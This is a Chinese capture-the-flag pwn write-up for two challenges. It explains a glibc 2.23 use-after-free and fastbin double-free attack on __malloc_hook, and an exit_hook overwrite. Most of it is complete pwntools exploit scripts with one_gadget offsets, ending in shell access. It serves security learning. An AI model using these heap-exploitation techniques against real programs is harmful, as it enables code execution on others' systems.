水几个pwn


author: moqizou

2020-羊城杯-signin

签到题目2.23的glibc

add - 最多10个chunk然后会malloc(0x28)之后就是namesize结构体如下

0x10 chunk 头
0x8 1 inuse位置
0x8 buf->name_chunk
0x8 23字节的message
0x8 看上面可以溢出

然后会把该chunk指针 存入全局table

view 通过判断inuse输出name和message

del uaf,只清除chunk_table和name_chunk

利用的话,这里用到了一点,free的chunk再次malloc回来的时候内容不会清空,这样也就给我们提供了泄露的uaf利用的可能性,但是我想的是
如果这样的话,那么uaf泄露什么特殊的地方呢?..应该主要还是强在fd劫持上面

总之利用分割unsorted bin就可以泄露。main_arena这里的偏移好像是有点奇怪,可以调试出来的,但是最好控制住不要去覆盖bk指针

pwndbg> x/20gx 0x5584286691a0
0x5584286691a0:	0x0000000000000000	0x0000000000000031
0x5584286691b0:	0x0a64646464646464	0x00007fba4ab1bb0a

泄露地址之后,就方便许多,利用fastbin的任意地址分配,和double free分配chunk到malloc_hook附近,然后打one_gadget,由于无法再次add(已经add满了)所以利用double free的检测(该检测会调用malloc函数)拿到shell
exp

#!usr/bin/env python
# -*- coding:utf-8 -*-
 
from pwn import*

context.log_level ='DEBUG'

r = process('./easypwn')

elf = ELF('./easypwn')

libc = ELF('/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
# libc = ELF('./libc.so.6')

def add(length,name,color):
    r.recvuntil("Your choice :")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(length))
    r.recvuntil(":")
    r.sendline(name)
    r.recvuntil(":")
    r.sendline(color)

def visit():
    r.recvuntil("Your choice :")
    r.sendline("2")

def remove(idx):
    r.recvuntil("Your choice :")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))

def clean():
    r.recvuntil("Your choice :")
    r.sendline("4")

#attach(r,'b main')
add(0x60,'a'*8,'a'*8)
add(0x60,'a'*8,'a'*8)
add(0x80,'b'*8,'b'*8)
add(0x60,'c'*8,'c'*8)

remove(2)


add(0x20,'d'*6+'\n','e'*8)

# gdb.attach(r)
visit()
r.recvuntil("d"*6+'\n')
main_arena = u64(r.recv(6).ljust(8, '\x00'))-0xa +0x20
print hex(main_arena)
libc_base = main_arena - 0x3C4B20
print hex(libc_base)
pause()

# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL
one_gadget = libc_base +0xf1247
target = main_arena - 0x33
remove(0)
remove(1)
remove(0)
add(0x60,p64(target),'a')

add(0x60,'b','b')
add(0x60,'c','c')
payload = 'a'*0x13 + p64(one_gadget)
add(0x60,payload,'d')

#不能再add堆块了
#两次free同一个chunk,触发报错函数
#而调用报错函数的时候又会用到malloc-hook,从而getshell
remove(0)
remove(0)

r.interactive()

ciscn_2019_n_7

太简单了不想分析了

唯一的用处是exit hook之前知道这个东西,但没想到是个固定偏移

#在libc-2.23中
exit_hook = libc_base+0x5f0040+3848

exit_hook = libc_base+0x5f0040+3856

#在libc-2.27中

exit_hook = libc_base+0x619060+3840

exit_hook = libc_base+0x619060+3848

任意一个打hook就可以,这题还有一个坑

  close(1);
  close(2);
  exit(0);

正常退出会关闭输出流和错误流。这样就无法正常输出结果。
所以不能正常退出,随便输入一个a退出就可以了。
exp

from pwn import *
context.log_level='debug'
p = process('./ciscn_2019_n_7')
#p = remote('node4.buuoj.cn','25859')
libc = ELF('/home/leo/Desktop/moyu/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')

p.recvuntil('Your choice-> \n')
p.sendline('666')
puts = int(p.recvuntil('\n'),16)
libc_base = puts - libc.sym['puts']
print "[+]puts_addr=>"+hex(puts)
print "[+]libc_base=>"+hex(libc_base)

exit_hook = libc_base + 0x5f0040 + 3848
one = 0xf1247
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

p.recvuntil('Your choice-> \n')
p.sendline('1')
p.sendlineafter(': \n',str(0x10))
p.recvuntil('name:')
p.send('a'*0x8 + p64(exit_hook))

p.recvuntil('Your choice-> \n')
p.sendline('2')
p.sendlineafter('name:\n','test')
p.sendlineafter(':\n',p64(libc_base+one))

p.sendlineafter("Your choice-> \n",'4')


p.interactive()

还可以把输出流绑定到0也就是输入流,
exec 1>&0然后就可以了

$ ls
$ exec 1>&0
$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
log.txt
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var

参考

exit_hook
输入输出重定向
https://*.com/questions/30968734/reopen-stdout-and-stderr-after-closing-them

上一篇:基于visual Studio2013解决算法导论之004随机排列数组


下一篇:使用curl命令获取文件下载速度